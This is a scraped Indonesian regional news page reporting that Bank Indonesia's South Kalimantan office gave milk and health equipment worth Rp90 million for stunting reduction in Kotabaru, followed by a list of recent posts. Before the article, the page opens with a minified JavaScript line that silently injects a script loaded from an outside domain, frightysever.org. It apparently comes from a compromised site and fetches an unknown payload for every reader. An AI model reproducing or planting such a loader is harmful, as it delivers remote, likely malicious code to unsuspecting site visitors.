(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kotabaru

BI Perwakilan Kalsel Serahkan PSBI Penanganan Stunting


KANALKALIMANTAN.COM, KOTABARU – Isu stunting saat ini sedang menjadi perhatian serius pemerintah pusat maupun daerah.

Melihat pada tahun 2022 lalu, angka stunting di Kalsel berada pada angka 24,6% atau masih tinggi jika dibanding dengan rata-rata nasional yang berada pada angka 21,6%.

Kendati Survei Status Gizi Indonesia (SSGU) tahun 2022 yang dirilis Kementrian Kesehatan menunjukan perbaikan yakni dari semula 30% pada 2021 menjadi 24,6% pada 2022.

Kantor Perwakilan Bank Indonesia (BI) Kalimantan Selatan (Kalsel) terus memberikan dukungan terhadap upaya percepatan penurunan stantin di Kalsel.

BI Kalsel menyerahkan bantuan Program Sosial Bank Indonesia (PSBI) untuk penanganan stunting di Kabupaten Kotabaru. Penyerahan bantuan dilakukan pada saat kegiatan Turdes Kemerdekaan Bergerak Lintas Beribu Sungai Banua di SMAN 2 Kotabaru, Senin (7/8/2023) siang.

Baca juga: Terdakwa Bikin Kafe dari Uang ‘Belah Semangka’ Korupsi Bendungan Tapin

Penyerahan bantuan dilakukan pada saat kegiatan Turdes Kemerdekaan Bergerak Lintas Beribu Sungai Banua di SMAN 2 Kotabaru, Senin (7/8/2023) siang. Foto: bikalsel

Baca juga: Tahanan Lapas Karang Intan Tewas Ditikam, Benda Tajam Lolos Masuk Kamar Sel

“Untuk Kotabaru kami salurkan PSBI dalam bentuk intervensi spesifik berupa susu bagi 42 Balita stunting selama 6 bulan dan intervensi sensitif berupa alat kesehatan untuk Puskesmas Kotabaru. Kalau dinilai total bantuannya sebesar Rp90 juta,” kata Kepala Kantor Perwakilan BI Kalsel Wahyu Pratomo.

Wahyu mengatakan, penyerahan bantuan PSBI penanganan stunting ini adalah kali kedua dilakukan setelah pada Mei 2023 lalu di Kabupaten Barito Kuala.

Dalam kesempatan sama, Gubernur Kalsel Sahbirin Noor mengapresiasi dukungan BI dalam upaya pemerintah daerah untuk menurunkan angka stunting di Kalsel

Menurutnya, bonus demografi Indonesia pada tahun 2045 hanya akan optimal jika generasi mudanya berbadan sehat dan berwawasan luas.

“Kehidupan bangsa yang akan datang sangat ditentukan oleh pemuda hari ini. Pemuda yang berkualitas tentunya dapat membuat bangsa kita semakin terdepan,” ucap Paman Birin.

Pemprov Kalsel pada kesempatan tersebut juga turut menyerahkan bantuan berupa paket sembako, bibit, sarana dan prasarana sekolah. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Al Ghifari

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

12 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

15 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

16 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

19 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

21 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

23 jam ago